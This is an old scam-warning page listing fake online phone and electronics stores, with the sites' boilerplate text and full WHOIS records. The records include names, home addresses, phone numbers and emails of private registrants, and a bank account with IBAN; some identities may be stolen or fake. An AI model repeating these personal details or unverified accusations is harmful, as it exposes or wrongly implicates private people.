e-phonehouse.com is an store based in Carrer del Tigre 63-64, 08024, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy

Call our customer representative at: +34-697-564-822


Full Name : Andras Nagy
Bank Name : Caixa d'Estalvis de Sabadell
Bank Address : CL GARIGLIANO, 52-58
08290 , CERDANYOLA DEL VALLES , SPAIN
Account Number : 2059-0639-39-2101499972
IBAN : ES4820590639392101499972
Swift Code : CECAESMM059

This domain was referenced in an eBay auction. A buyer sent a payment to our paypal account, which apparently this company has given them in order to cause our PayPal account to be suspended. This is consistent with the three threatenting emails that we have received from the criminal who runs e-phonehouse.com and other websites used for these scams.

WHOIS details for domain "e-phonehouse.com":

   Domain Name: E-PHONEHOUSE.COM
   Registrar: GO DADDY SOFTWARE, INC.
   Whois Server: whois.godaddy.com
   Referral URL: http://registrar.godaddy.com
   Name Server: WSC1.JOMAX.NET
   Name Server: WSC2.JOMAX.NET
   Status: REGISTRAR-LOCK
   Updated Date: 20-sep-2005
   Creation Date: 20-sep-2005
   Expiration Date: 20-sep-2006


>>> Last update of whois database: Tue, 1 Nov 2005 15:08:10 EST <<<


Registrant:
   Domains by Proxy, Inc.
   DomainsByProxy.com
   15111 N. Hayden Rd., Ste 160, PMB 353
   Scottsdale, Arizona 85260
   United States

   Registered through: GoDaddy.com
   Domain Name: E-PHONEHOUSE.COM
      Created on: 20-Sep-05
      Expires on: 20-Sep-06
      Last Updated on: 20-Sep-05

   Administrative Contact:
      Private, Registration  E-PHONEHOUSE.COM@domainsbyproxy.com
      Domains by Proxy, Inc.
      DomainsByProxy.com
      15111 N. Hayden Rd., Ste 160, PMB 353
      Scottsdale, Arizona 85260
      United States
      (480) 624-2599
   Technical Contact:
      Private, Registration  E-PHONEHOUSE.COM@domainsbyproxy.com
      Domains by Proxy, Inc.
      DomainsByProxy.com
      15111 N. Hayden Rd., Ste 160, PMB 353
      Scottsdale, Arizona 85260
      United States
      (480) 624-2599

   Domain servers in listed order:
      WSC1.JOMAX.NET
      WSC2.JOMAX.NET


Mobile-OnlineShop.com

Who are we?

Mobile-OnlineShop.com is an store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.


What does our system for you?

As a buyer, you are the beneficiary of our 5 - step process that postpones the order and shipp of the products ordered.You will also be highly protected against payment fraud, as all disadvantages resulting from credit card payment methods, such as fraudulent use by the prospective buyer, are eliminated.



telegsm-store.com

This is yet another incarnation of the TransGlobal GSM / Euro GSM / e-phonehouse.com series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live.

The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com. If you have sent money by Western Union and it hasn't been pick up yet, call Western Union to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.

TeleGSM-Store.com: The premier way to shop online

Who are we?

TeleGSM-Store.com is an store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.

Contact Us



For tech Support and Questions

Call our customer representative at: +34-667-071-714

Domain registration details:

   Domain Name: TELEGSM-STORE.COM
   Registrar: GO DADDY SOFTWARE, INC.
   Whois Server: whois.godaddy.com
   Referral URL: http://registrar.godaddy.com
   Name Server: PARK19.SECURESERVER.NET
   Name Server: PARK20.SECURESERVER.NET
   Status: REGISTRAR-LOCK
   Updated Date: 24-oct-2005
   Creation Date: 24-oct-2005
   Expiration Date: 24-oct-2006


>>> Last update of whois database: Thu, 1 Dec 2005 02:29:58 EST <<<


Registrant:
   Domains by Proxy, Inc.
   DomainsByProxy.com
   15111 N. Hayden Rd., Ste 160, PMB 353
   Scottsdale, Arizona 85260
   United States

   Registered through: GoDaddy.com
   Domain Name: TELEGSM-STORE.COM
      Created on: 24-Oct-05
      Expires on: 24-Oct-06
      Last Updated on: 24-Oct-05

   Administrative Contact:
      Private, Registration  TELEGSM-STORE.COM@domainsbyproxy.com
      Domains by Proxy, Inc.
      DomainsByProxy.com
      15111 N. Hayden Rd., Ste 160, PMB 353
      Scottsdale, Arizona 85260
      United States
      (480) 624-2599
   Technical Contact:
      Private, Registration  TELEGSM-STORE.COM@domainsbyproxy.com
      Domains by Proxy, Inc.
      DomainsByProxy.com
      15111 N. Hayden Rd., Ste 160, PMB 353
      Scottsdale, Arizona 85260
      United States
      (480) 624-2599

   Domain servers in listed order:
      PARK19.SECURESERVER.NET
      PARK20.SECURESERVER.NET


Anamea Company / anamea.biz

This scam appears connected to the "LocalGSM.com" scam.

Report any case of fraud to the local police. Inform the webhosting company if you have been defrauded by this site (contact: abuse@cyrusone.com).

Anamea.biz is an store based in Via San Gallo 10, 16100, Genova, Italia.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.

Anamea Company
Via San Gallo 10
Genova 16100 Italia
Email: Info@Anamea.biz

Message headers:

Domain Name:                                 ANAMEA.BIZ
Domain ID:                                   D10638245-BIZ
Sponsoring Registrar:                        WILD WEST DOMAINS, INC.
Sponsoring Registrar IANA ID:                440
Domain Status:                               clientDeleteProhibited
Domain Status:                               clientRenewProhibited
Domain Status:                               clientTransferProhibited
Domain Status:                               clientUpdateProhibited
Registrant ID:                               GODA-013432279
Registrant Name:                             Lawrence Zoet
Registrant Organization:                     Lawrence Zoet
Registrant Address1:                         928-34th St SW
Registrant City:                             Wyoming
Registrant State/Province:                   Michigan
Registrant Postal Code:                      49509
Registrant Country:                          United States
Registrant Country Code:                     US
Registrant Phone Number:                     +1.6165312367
Registrant Email:                            digitaldinamoltd@yahoo.com
Administrative Contact ID:                   GODA-213432279
Administrative Contact Name:                 Lawrence Zoet
Administrative Contact Organization:         Lawrence Zoet
Administrative Contact Address1:             928-34th St SW
Administrative Contact City:                 Wyoming
Administrative Contact State/Province:       Michigan
Administrative Contact Postal Code:          49509
Administrative Contact Country:              United States
Administrative Contact Country Code:         US
Administrative Contact Phone Number:         +1.6165312367
Administrative Contact Email:                digitaldinamoltd@yahoo.com
Billing Contact ID:                          GODA-313432279
Billing Contact Name:                        Lawrence Zoet
Billing Contact Organization:                Lawrence Zoet
Billing Contact Address1:                    928-34th St SW
Billing Contact City:                        Wyoming
Billing Contact State/Province:              Michigan
Billing Contact Postal Code:                 49509
Billing Contact Country:                     United States
Billing Contact Country Code:                US
Billing Contact Phone Number:                +1.6165312367
Billing Contact Email:                       digitaldinamoltd@yahoo.com
Technical Contact ID:                        GODA-113432279
Technical Contact Name:                      Lawrence Zoet
Technical Contact Organization:              Lawrence Zoet
Technical Contact Address1:                  928-34th St SW
Technical Contact City:                      Wyoming
Technical Contact State/Province:            Michigan
Technical Contact Postal Code:               49509
Technical Contact Country:                   United States
Technical Contact Country Code:              US
Technical Contact Phone Number:              +1.6165312367
Technical Contact Email:                     digitaldinamoltd@yahoo.com
Name Server:                                 DNS.BIZSITESERVICE.COM
Name Server:                                 DNS2.BIZSITESERVICE.COM
Created by Registrar:                        WILD WEST DOMAINS, INC.
Last Updated by Registrar:                   WILD WEST DOMAINS, INC.
Domain Registration Date:                    Fri Aug 12 16:05:02 GMT 2005
Domain Expiration Date:                      Sat Aug 11 23:59:59 GMT 2007
Domain Last Updated Date:                    Fri Aug 12 16:05:08 GMT 2005


telegsm-store.com

This is yet another incarnation of the TransGlobal GSM / Euro GSM / e-phonehouse.com series of mobile phone scams run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live.

The fraudulent website appears to be hosted by Godaddy.com. Therefore please send a report to abuse@godaddy.com.

If you have sent money by Western Union and it hasn't been pick up yet, call Western UNion to halt the transfer. If you did a bank wire transfer, call the bank in Spain to freeze the receiving account, which will have been created with fake identification papers. Get assistance from your own bank if you need to.

TeleGSM-Store.com: The premier way to shop online

Who are we?

TeleGSM-Store.com is an store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.


Call our customer representative at: +34-667-071-714

Domain registration details:

   Domain Name: TELEGSM-STORE.COM
   Registrar: GO DADDY SOFTWARE, INC.
   Whois Server: whois.godaddy.com
   Referral URL: http://registrar.godaddy.com
   Name Server: PARK19.SECURESERVER.NET
   Name Server: PARK20.SECURESERVER.NET
   Status: REGISTRAR-LOCK
   Updated Date: 24-oct-2005
   Creation Date: 24-oct-2005
   Expiration Date: 24-oct-2006


>>> Last update of whois database: Thu, 17 Nov 2005 15:05:41 EST <<<


Registrant:
   Domains by Proxy, Inc.
   DomainsByProxy.com
   15111 N. Hayden Rd., Ste 160, PMB 353
   Scottsdale, Arizona 85260
   United States

   Registered through: GoDaddy.com
   Domain Name: TELEGSM-STORE.COM
      Created on: 24-Oct-05
      Expires on: 24-Oct-06
      Last Updated on: 24-Oct-05

   Administrative Contact:
      Private, Registration  TELEGSM-STORE.COM@domainsbyproxy.com
      Domains by Proxy, Inc.
      DomainsByProxy.com
      15111 N. Hayden Rd., Ste 160, PMB 353
      Scottsdale, Arizona 85260
      United States
      (480) 624-2599
   Technical Contact:
      Private, Registration  TELEGSM-STORE.COM@domainsbyproxy.com
      Domains by Proxy, Inc.
      DomainsByProxy.com
      15111 N. Hayden Rd., Ste 160, PMB 353
      Scottsdale, Arizona 85260
      United States
      (480) 624-2599

   Domain servers in listed order:
      PARK19.SECURESERVER.NET
      PARK20.SECURESERVER.NET


GSM-MarketPlace / phones-marketplace.com

gsm-marketplace.com / phones-marketplace.com is the same scam as TeleGSM-Store.com / TransGlobal GSM / Euro GSM / e-phonehouse.com. This series of mobile phone scams are run by criminals from Romania who are based in Spain. They take orders and cash but never deliver any goods. If you've been cheated report this to the police where you live.

Phones-Market Place
Best services for our customers

Who are we?

GSM-MarketPlace is a store based in Rambla 14, 08022, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.
For tech Support and Questions

Call our customer representative at: +34-610-259-087

Message headers:

Phones
ATTN: PHONES-MARKETPLACE.COM
c/o Network Solutions
P.O. Box 447
Herndon, VA. 20172-0447

 Domain Name: PHONES-MARKETPLACE.COM

 Administrative Contact, Technical Contact:
 Phones qu6qr2bb62f@networksolutionsprivateregistration.com
 ATTN: PHONES-MARKETPLACE.COM
 c/o Network Solutions
 P.O. Box 447
 Herndon, VA 20172-0447
 570-708-8780

 Record expires on 24-Jan-2007.
 Record created on 24-Jan-2006.
 Database last updated on 21-Feb-2006 19:48:50 EST.

 Domain servers in listed order:

 NS19.WORLDNIC.COM 216.168.228.12
 NS20.WORLDNIC.COM 216.168.225.150

 Domain Name: PHONES-MARKETPLACE.COM
 Registrar: NETWORK SOLUTIONS, LLC.
 Whois Server: whois.networksolutions.com
 Referral URL: http://www.networksolutions.com
 Name Server: NS19.WORLDNIC.COM
 Name Server: NS20.WORLDNIC.COM
 Status: REGISTRAR-LOCK
 Updated Date: 24-jan-2006
 Creation Date: 24-jan-2006
 Expiration Date: 24-jan-2007

Here is their other domain:

Message headers:

Domain Name.......... gsm-marketplace.com
 Creation Date........ 2006-01-21
 Registration Date.... 2006-01-21
 Expiry Date.......... 2007-01-21
 Organisation Name.... arnold herbstein
 Organisation Address. c / mas 12
 Organisation Address. 
 Organisation Address. Barcelona
 Organisation Address. 08018
 Organisation Address. 00
 Organisation Address. SPAIN

Admin Name........... arnold herbstein
 Admin Address........ c / mas 12
 Admin Address........ 
 Admin Address........ Barcelona
 Admin Address........ 08018
 Admin Address........ 00
 Admin Address........ SPAIN
 Admin Email.......... arnold_herbstein@yahoo.es
 Admin Phone.......... 664 326 784
 Admin Fax............ 

Tech Name............ Verio Hostmaster
 Tech Address......... 5050 Blue Lake Dr.
 Tech Address......... 
 Tech Address......... Boca Raton
 Tech Address......... 33431
 Tech Address......... FL
 Tech Address......... UNITED STATES
 Tech Email........... hostmaster@VERIO-HOSTING.COM
 Tech Phone........... 888-663-6648
 Tech Fax............. 888-663-6655
 Name Server.......... ns19b.nameservers.net
 Name Server.......... ns19a.nameservers.net


 Domain Name: GSM-MARKETPLACE.COM
 Registrar: MELBOURNE IT, LTD. D/B/A INTERNET NAMES WORLDWIDE
 Whois Server: whois.melbourneit.com
 Referral URL: http://www.melbourneit.com
 Name Server: NS19A.NAMESERVERS.NET
 Name Server: NS19B.NAMESERVERS.NET
 Status: ACTIVE
 Updated Date: 20-jan-2006
 Creation Date: 20-jan-2006
 Expiration Date: 20-jan-2007


Online-GSM-Marketplace.com

OnlineGSM Marketplace.com is an store based in Carrer del Tigre 63-64, 08024, Barcelona, Spain.We were born out of the ever increasing need for fast, reliable transactions which would also not exclude the one value that the Internet Community cherishes most: privacy.

Message headers:

   Domain Name: ONLINE-GSM-MARKETPLACE.COM
   Registrar: AAAQ.COM, INC.
   Whois Server: whois.aaaq.com
   Referral URL: http://www.aaaq.com
   Name Server: NS.WAY2HOST.COM
   Name Server: NS2.WAY2HOST.COM
   Status: REGISTRAR-LOCK
   Updated Date: 16-mar-2006
   Creation Date: 16-mar-2006
   Expiration Date: 16-mar-2007

Domain Name: online-gsm-marketplace.com
   Registrar:   AAAQ.COM
   Whois Server: whois.aaaq.com
   Referral URL: http://www.aaaq.com
   Name Server: ns.way2host.com
   Name Server: ns2.way2host.com
   Status:      ACTIVE
   Updated Date 2006-03-16
   Creation Date: 2006-03-16
   Expiration Date: 2007-03-16


mobile-shop-inc.net

This is a fake electronics store probably run by criminals from Romania. It's connected to the fake Escrow company onlineshipping-worldwide.org. Apart from being used in the same scam, both domains are hosted by the same webhosting company.

WHOIS details for domain "mobile-shop-inc.net":

   Domain Name: MOBILE-SHOP-INC.NET
   Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER
   Whois Server: whois.names4ever.com
   Referral URL: http://www.names4ever.com
   Name Server: NS2.ABAC.COM
   Name Server: NS1.ABAC.COM
   Status: ACTIVE
   Updated Date: 06-oct-2005
   Creation Date: 06-oct-2005
   Expiration Date: 06-oct-2007

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.
The information below is provided by NAMES4EVER for personal use only.
NAMES4EVER does not guarantee its accuracy. By submitting a query, you
agree that you will use this information only for lawful purposes and
that; under no circumstances will you use this information from
NAMES4EVER to: (a) allow, enable, or otherwise support the
transmission of mass commercial advertising or solicitations via e-mail;
(b) enable high volume, automated, electronic processes that apply to
NAMES4EVER and (c) sell the information. NAMES4EVER reserves the right
to modify these terms at any time. By submitting this query, you agree
to abide by this policy by NAMES4EVER. NAMES4EVER is ICANN accredited
Registrar for .com .org and .net domain names.

Domain name: mobile-shop-inc.net

Registrant:
   t a davison (WGBFK) facultatesb@yahoo.com
   15 deanscroft road
   bournemouth,    bournemouth    bh10 6jp
   United Kingdom
   Phone: (0797)7988097 x 

Administrative Contact:
   t a davison (GM4DR) facultatesb@yahoo.com
   15 deanscroft road
   bournemouth,    bournemouth    bh10 6jp
   United Kingdom
   Phone: (0797)7988097 x 

Technical Contact:
   t a davison (WGBFK) facultatesb@yahoo.com
   15 deanscroft road
   bournemouth,    bournemouth    bh10 6jp
   United Kingdom
   Phone: (0797)7988097 x 

Billing Contact:
   t a davison (B9YMS) facultatesb@yahoo.com
   15 deanscroft road
   bournemouth,    bournemouth    bh10 6jp
   United Kingdom
   Phone: (0797)7988097 x 

Record last updated on 2005-10-06 00:00:00
Record created on 2005-10-06 00:00:00
Record expires on 2007-10-06 00:00:00

Domain servers in listed order:
   ns1.abac.com   216.55.128.4
   ns2.abac.com

Registration Service Provider: AplusNet(APRO)
   apro-n4e-racc@abac.com
   
   http://www.aplus.net

Registrar: NAMES4EVER, http://www.names4ever.com


smart-mobile-phones.com

This fake company claims to have been around for seven years, but it's domain is only one month old. The (fake) postal address is in London, but the phone number is no London number. The domain is registered using a (fake) postal address in Colorado, USA.

smart-mobile-phones Ltd. is a company of limited size with an open market in Europe and US. We take pride of having factory prices on several selected products that we supply to our customers.

With a history of 7 years behind us we always stride to bring you the best products at the lowest prices on all the internet. But you don't have to just take our word for it. Visit the products section and see for yourself!


orders@smart-mobile-phones.com

Darrn Ronsworth- Sales Manager
12 ROTHERHITHE STREET
London , SE16 5HW
UNITED KINGDOM
Phone: (+44)7891554239
Fax : (+44)2079-002-566

WHOIS details for domain "smart-mobile-phones.com":

   Domain Name: SMART-MOBILE-PHONES.COM
   Registrar: TUCOWS INC.
   Whois Server: whois.opensrs.net
   Referral URL: http://domainhelp.tucows.com
   Name Server: NS1.NETFIRMS.COM
   Name Server: NS2.NETFIRMS.COM
   Status: REGISTRAR-LOCK
   Updated Date: 09-oct-2005
   Creation Date: 09-oct-2005
   Expiration Date: 09-oct-2006


>>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<<

Registrant:
 smart
 380 CLAY AVENUE
 CRAIG, CO 81625
 US

 Domain name: SMART-MOBILE-PHONES.COM

 Administrative Contact:
    MIESNER, LORETTA  manuseller@yahoo.com
    380 CLAY AVENUE
    CRAIG, CO 81625
    US
    8004234242
 Technical Contact:
    Manager, Domains  support@netfirms.com
    5160 Yonge St
    1800
    Toronto, ON M2N 6L9
    CA
    +1.4166612100    Fax: +1.4166610700



 Registration Service Provider:
    Netfirms, Inc., support@netfirms.com
    +1.4166612100
    This company may be contacted for domain login/passwords,
    DNS/Nameserver changes, and general domain support questions.


 Registrar of Record: TUCOWS, INC.
 Record last updated on 09-Oct-2005.
 Record expires on 09-Oct-2006.
 Record created on 09-Oct-2005.

 Domain servers in listed order:
    NS1.NETFIRMS.COM   64.34.74.221
    NS2.NETFIRMS.COM   66.244.253.14


 Domain status: REGISTRAR-LOCK


Extra Mall Inc. / Electrowork / extra-mall.com (created=2005-10-27)

This fake store claims to be based in Portugal, but the domain registration lists an individual in the Netherlands and the site is less than two weeks old. This is a reincarnation of "electrolucs.com", a site which is now offline. The sites look like clones of each other. "electrolucs.com" included this clause, which is found on many fake electronics store sites:

The minimum order is 500 EUR.

Shipping is free for orders over 1000 EUR.

Contact details for "Extra Mall Inc.":

Extra Mall Inc.


rio de pablos 35
Lisbon 1600 PT


office@extra-mall.com
http://www.Extra-Mall.com

Message headers:

   Domain Name: EXTRA-MALL.COM
   Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER
   Whois Server: whois.names4ever.com
   Referral URL: http://www.names4ever.com
   Name Server: NS2.ABAC.COM
   Name Server: NS1.ABAC.COM
   Status: ACTIVE
   Updated Date: 27-oct-2005
   Creation Date: 27-oct-2005
   Expiration Date: 27-oct-2006


>>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<<

Domain name: extra-mall.com

Registrant:
   Marie-Christine Franken (DJ6KJ) extramall@yahoo.com
   Nieuwendijk 32F
   Someren,    Someren    5712EM
   Netherlands
   Phone: (248)9890023 x 

Administrative Contact:
   Marie-Christine Franken (L6BPS) extramall@yahoo.com
   Nieuwendijk 32F
   Someren,    Someren    5712EM
   Netherlands
   Phone: (248)9890023 x 

Technical Contact:
   Marie-Christine Franken (DJ6KJ) extramall@yahoo.com
   Nieuwendijk 32F
   Someren,    Someren    5712EM
   Netherlands
   Phone: (248)9890023 x 

Billing Contact:
   Marie-Christine Franken (8TSBC) extramall@yahoo.com
   Nieuwendijk 32F
   Someren,    Someren    5712EM
   Netherlands
   Phone: (248)9890023 x 

Record last updated on 2005-10-27 00:00:00
Record created on 2005-10-27 00:00:00
Record expires on 2006-10-27 00:00:00

Domain servers in listed order:
   ns1.abac.com   216.55.128.4
   ns2.abac.com

Registration Service Provider: AplusNet(APRO)
   apro-n4e-racc@abac.com
   
   http://www.aplus.net

Registrar: NAMES4EVER, http://www.names4ever.com


averahty.co.uk

The site uses a London, UK postal address but no London phone number. The fax numbers is the same as the phone number. They use a fake escrow company to receive payments. The site states "The minimum order is 500 EUR" even though the company is supposedly based in a country where the legal currency is Pound Sterling.

Averahty Co Uk
176 Stratton St., London, UK, W1J 9LL United Kingdom
Tel: 44-808-208-3557 Fax: 44-808-208-3557

Domain registration details:

    Domain Name:
        averahty.co.uk

    Registrant:
        Michelle Lynn Benton

    Registrant's Address:
        4709 Pershing Ave
        Fort Worth
        Tx
        7610 7
        US

    Registrant's Agent:
        Iomart Ltd [Tag = INTERNETTERS]
        URL: http://www.iomart.com

    Relevant Dates:
        Registered on:  17-Apr-2005
        Renewal Date:   17-Apr-2007

    Registration Status:
        Registered until renewal date.

    Name servers listed in order:
        ns4.easyspace.com                 84.22.161.11
        ns5.easyspace.com                 62.128.193.201


Tradeisafe Net / tradeisafe.net

This fake electronics company claims to be based in London, UK. The domain tradeisafe.net was registered on 2005-06-13 using an address in Bristol, UK and is hosted on a server in Norway. The postal address on the website is fake. For example, the post code doesn't match the street address.

There is only one phone number for both fax and phone and it's not a London number.

If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)

Tradeisafe Net.
54 High Holborn,
London,
uk WC1V 6TP
United Kingdom
Tel: 44-87-0912-6744
Fax: 44-87-0912-6744

Mr John Parker
Sales Manager
Tel: 44-87-0912-6744
Fax: 44-87-0912-6744
E-mail: sales@tradeisafe.net

--------------------------------------------------------------------------------

Web site: http://www.tradeisafe.net/

They use the following postal address when requesting paymenty by Western Union:

Claudio Catani
Address:25 Old Broad Street,
City:London,
UK,
Postal Code:EC2N 1HN
United Kingdom

WHOIS details for domain "tradeisafe.net":

Request: tradeisafe.net
from whois.active24.com:43 [cached Fri Sep 16 11:00:00 2005 UTC]
Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA

Domain Information
===================
Domain.......: TRADEISAFE.NET (DOM-76106)
Status.......: LIVE
Amended......: 2005-06-13 15:58:51
Created......: 2005-06-13 15:58:51
Expires......: 2006-06-13 09:58:51
Registrar....: REGISTRAR-1

Organisation Contact
=======================
ID...........: ORG-122749
Name.........: MR A HAMMUDA
PostAddress..: 27 Comyn Walk
PostCode.....: BS16 2JL
PostArea.....: Bristol
Country......: UK
Phone........: +44.07939097701
Fax..........: 
Email........: jonkaole@yahoo.com

Administrative Contact
=======================
ID...........: UC-122750
Name.........: MR A HAMMUDA
PostAddress..: 27 Comyn Walk
PostCode.....: BS16 2JL
PostArea.....: Bristol
Country......: UK
Phone........: +44.07939097701
Fax..........: 
Email........: jonkaole@yahoo.com

Technical Contact
=======================
ID...........: SYS-2509
Name.........: Active 24 ASA - Registry Department
PostAddress..: Fjordalleen 16, Postboks 1519, Vika
PostCode.....: N-0117
PostArea.....: Oslo
Country......: Norway
Phone........: +47 21 93 30 00
Fax..........: +47 21 93 30 01
Email........: hostmaster@activeisp.com

Billing Contact
=======================
ID...........: SYS-2508
Name.........: Active 24 ASA - Billing Department
PostAddress..: Fjordalleen 16, P.O. box 1519 Vika
PostCode.....: N-0117
PostArea.....: Oslo
Country......: Norway
Phone........: +47 21 93 30 00
Fax..........: +47 21 93 30 01
Email........: billing@activeisp.com

Name Servers
=======================
DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38
DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231

Active 24 is the brand for Active ISP ASA.


perfectselling.net

If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)

Perfect Selling
50 Stratton St., London, UK, W1J 8LL United Kingdom
Fax: 44-20-7681-2930

Miss Chloe Devon
Sales Manager
Tel: 44-20-7681-2930
Fax: 44-20-7681-2930
E-mail: sales@perfectselling.net

--------------------------------------------------------------------------------

Web site: http://www.perfectselling.net

Domain registration details:

   Domain Name: PERFECTSELLING.NET
   Registrar: ACTIVE 24 ASA
   Whois Server: whois.active24.com
   Referral URL: http://www.active24.com
   Name Server: DNS20.ACTIVEISP.COM
   Name Server: DNS21.ACTIVEISP.COM
   Status: ACTIVE
   Updated Date: 02-may-2005
   Creation Date: 02-may-2005
   Expiration Date: 02-may-2006


>>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<<

Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA

Domain Information
===================
Domain.......: PERFECTSELLING.NET (DOM-74369)
Status.......: LIVE
Amended......: 2005-05-02 19:34:42
Created......: 2005-05-02 19:34:42
Expires......: 2006-05-02 13:34:42
Registrar....: REGISTRAR-1

Organisation Contact
=======================
ID...........: ORG-119522
Name.........: K P MARTIN
PostAddress..: 61 HYTHE ROAD
PostCode.....: IP26 4PU
PostArea.....: METHWOLD
Country......: UK
Phone........: +44.0184282189
Fax..........: 
Email........: kpmartink@yahoo.co.uk

Administrative Contact
=======================
ID...........: UC-119523
Name.........: K P MARTIN
PostAddress..: 61 HYTHE ROAD
PostCode.....: IP26 4PU
PostArea.....: METHWOLD
Country......: UK
Phone........: +44.0184282189
Fax..........: 
Email........: kpmartink@yahoo.co.uk

Technical Contact
=======================
ID...........: SYS-2509
Name.........: Active 24 ASA - Registry Department
PostAddress..: Fjordalleen 16, Postboks 1519, Vika
PostCode.....: N-0117
PostArea.....: Oslo
Country......: Norway
Phone........: +47 21 93 30 00
Fax..........: +47 21 93 30 01
Email........: hostmaster@activeisp.com

Billing Contact
=======================
ID...........: SYS-2508
Name.........: Active 24 ASA - Billing Department
PostAddress..: Fjordalleen 16, P.O. box 1519 Vika
PostCode.....: N-0117
PostArea.....: Oslo
Country......: Norway
Phone........: +47 21 93 30 00
Fax..........: +47 21 93 30 01
Email........: billing@activeisp.com

Name Servers
=======================
DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38
DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231

Active 24 is the brand for Active ISP ASA.


CompCel Com. / compcel.com

CompCel Com.
38 Grosvenor Street ,
London,
UK
W1K 4AA
United Kingdom
Tel: 44-808-208-3557
Fax: 44-808-208-3557

The minimum order is 500 EUR.

Shipping is free.

Registration details:

   Domain Name: COMPCEL.COM
   Registrar: INTERNETTERS LIMITED
   Whois Server: whois.internetters.co.uk
   Referral URL: http://www.internetters.co.uk
   Name Server: NS4.EASYSPACE.COM
   Name Server: NS5.EASYSPACE.COM
   Status: REGISTRAR-LOCK
   Updated Date: 19-may-2005
   Creation Date: 19-may-2005
   Expiration Date: 19-may-2006


>>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<<

Registrant:
 s pervaz
 37 Cromer Avenue
 Burnley,  BB10 3HA
 UK

 Domain name: COMPCEL.COM

 Administrative Contact:
    pervaz, s  umustumust@yahoo.com
    37 Cromer Avenue
    Burnley,  BB10 3HA
    UK
    +44.8700500303    Fax: +44.1419317001

 Technical Contact:
    Master, Host  reg-tucows@easyspace.com
    Lister Pavilion
    Kelvin Campus
    West of Scotland Science Park
    Glasgow, Scotland G20 0SP
    UK
    +44.8707555066    Fax: +44.1419316785



 Registrar of Record: Internetters, http://www.internetters.co.uk
 Record last updated on 19-May-2005.
 Record expires on 19-May-2006.
 Record created on 19-May-2005.

 Domain servers in listed order:
    NS4.EASYSPACE.COM   84.22.161.11
    NS5.EASYSPACE.COM   62.128.193.201


safeitrade.com

Safeitrade Com.
Old Broad Street,
London,
uk
EC2N 1HN
United Kingdom
Tel: 44-87-0912-1055
Fax: 44-87-0912-1055

The minimum order is 500 EUR.

Shipping is free.

Message headers:

   Domain Name: SAFEITRADE.COM
   Registrar: ACTIVE 24 ASA
   Whois Server: whois.active24.com
   Referral URL: http://www.active24.com
   Name Server: DNS20.ACTIVEISP.COM
   Name Server: DNS21.ACTIVEISP.COM
   Status: ACTIVE
   Updated Date: 19-may-2005
   Creation Date: 19-may-2005
   Expiration Date: 19-may-2006


>>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<<

Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA

Domain Information
===================
Domain.......: SAFEITRADE.COM (DOM-75308)
Status.......: LIVE
Amended......: 2005-05-19 18:31:41
Created......: 2005-05-19 18:31:41
Expires......: 2006-05-19 12:31:41
Registrar....: REGISTRAR-1


Technical Contact
=======================
ID...........: SYS-2509
Name.........: Active 24 ASA - Registry Department
PostAddress..: Fjordalleen 16, Postboks 1519, Vika
PostCode.....: N-0117
PostArea.....: Oslo
Country......: Norway
Phone........: +47 21 93 30 00
Fax..........: +47 21 93 30 01
Email........: hostmaster@activeisp.com

Billing Contact
=======================
ID...........: SYS-2508
Name.........: Active 24 ASA - Billing Department
PostAddress..: Fjordalleen 16, P.O. box 1519 Vika
PostCode.....: N-0117
PostArea.....: Oslo
Country......: Norway
Phone........: +47 21 93 30 00
Fax..........: +47 21 93 30 01
Email........: billing@activeisp.com

Name Servers
=======================
DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38
DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231

Active 24 is the brand for Active ISP ASA.


faroon.com

Fake electronics store in the UK. Run by the same gang as "Tradeisafe Net / tradeisafe.net" and "Averahty Co Uk / averahty.co.uk". The sites look strikingly similar. Same 500 EUR minimum order, same use of a 44-808 phone number. The billing contact for the sitye mentions webhoster "Active 24", the same company used for the "Ukites.com" fake UK electronics store, which also had a 500 EUR minimum order, which indicates these sites are all part of the same scam by the same gang. Tradeisafe Net is also hosted by this company.

If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)

The minimum order is 500 EUR.

Shipping is free.

Tax free inside EU.

Contact Info
Faroon Com.
7 Curtain Road,
London,
UK
EC2A 3LT
United Kingdom
Tel: 44-808-208-9879
Fax: 44-20-7990-7583


Message headers:

   Domain Name: FAROON.COM
   Registrar: ACTIVE 24 ASA
   Whois Server: whois.active24.com
   Referral URL: http://www.active24.com
   Name Server: DNS20.ACTIVEISP.COM
   Name Server: DNS21.ACTIVEISP.COM
   Status: ACTIVE
